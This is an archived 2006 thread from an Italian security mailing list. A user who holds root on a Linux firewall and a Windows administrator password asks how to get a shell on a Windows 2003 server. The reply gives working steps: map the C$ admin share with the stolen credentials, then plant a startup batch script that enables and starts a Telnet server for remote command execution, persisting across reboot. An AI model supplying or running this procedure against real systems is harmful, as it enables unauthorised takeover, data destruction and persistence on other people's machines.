[ Home | Liste | F.A.Q. | Risorse | Cerca... ]


[ Data: precedente | successivo | indice ] [ Argomento: precedente | successivo | indice ]


Archivio: Febbraio 2006 ml@sikurezza.org
Soggetto: Re: [ml] Eseguire una shell
Mittente: billiejoex
Data: Wed, 15 Feb 2006 00:23:30 +0100 (CET)

----- Original Message ----- From: "Salvatore Basso" <sasab@xxxxxxxxxxx>
To: <ml@xxxxxxxxxxxxx>
Sent: Tuesday, February 14, 2006 12:38 PM
Subject: [ml] Eseguire una shell



Buongiorno,
la mia domanda è rivolta a capire se e come compromettere la sicurezza di una macchina con Windows 2003 Server dopo aver ottenuto privilegi di root su una macchina Linux che fa da firewall alla rete LAN
dove è posto il server Windows.
Lo scenario è questo..io riesco ad accedere al firewall (ad esempio con VNC) come utente root, riesco ad elencare le directory condivise sul server Windows 2003 e posso anche farvi accesso avendo la possibilità su queste condivisioni di cancellare file, creare directory e tutto questo in quanto ho le credenziali di 'administrator'.
Da questa posizione è possibile dalla macchina Linux (che fa da Firewall) eseguire una shell (attraverso Telnet o SSH) di comandi sulla macchina Windows che mi permetta, ad esempio di formattare una partizione o in generale di eseguire qualunque altro comando ?? o nonostante i privilegi acquisiti (sia sulla macchina Linux che su quella Windows) non è possibile ??
Grazie e buon lavoro.


------
Salvatore.

Di per sè la condivisione di risorse sulla macchina Windows non dovrebbe rappresentare un rischio tale da permettere ad una terza persona (tu) di ottenere accessi non autorizzati da remoto. Certo è che se tu (da come mi pare di aver capito) sei a conoscenza delle credenziali di un utente amministrativo creato sulla macchina Windows la condivisione risorse potrebbe rappresentare la strada più veloce per ottenere tale accesso.
Se, come detto, conosci delle credenziali amministrative e se, come accade 9 volte su 10, sulla macchina Windows sono abilitate le condivisione amministrative (le famose C$, D$ etc, abilitate per default persino su sistemi 2003) potresti operare nel seguente modo:


- Ottenere l'accesso rw alla partizione di sistema (esempio eseguito da una seconda macchina Windows ma credo sia fattibilissimo anche su una piattaforma linux):

net use Z: \\192.168.0.1\C$ my_password /user:Administrator

- Creare uno script batch che ti abiliti un server telnet e fare in modo che venga eseguito al prossimo riavvio, posizionandolo, ad esempio, in [C:\Documents and Settings\Administrator\Menu Avvio\Programmi\Esecuzione automatica], o agendo sulle chiavi di registro relative all'avvio:

@echo off
sc config "TlntSvr" start= auto
net start telnet
tlntadmn config sec=-ntlm+passwd
exit

- Ottenere l'accesso al server telnet utilizzando l'utente Administrator. Una volta che hai tale accesso puoi ovviamente fare il buono e il cattivo tempo (cancellare, modificare, eseguire etc...)









[ Home | Liste | F.A.Q. | Risorse | Cerca... ]

www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005